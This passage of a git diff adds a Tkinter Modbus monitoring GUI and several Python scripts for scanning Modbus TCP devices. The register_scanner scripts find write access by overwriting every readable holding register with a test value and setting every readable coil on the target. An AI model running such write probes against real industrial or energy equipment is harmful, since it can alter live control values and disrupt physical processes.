daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with 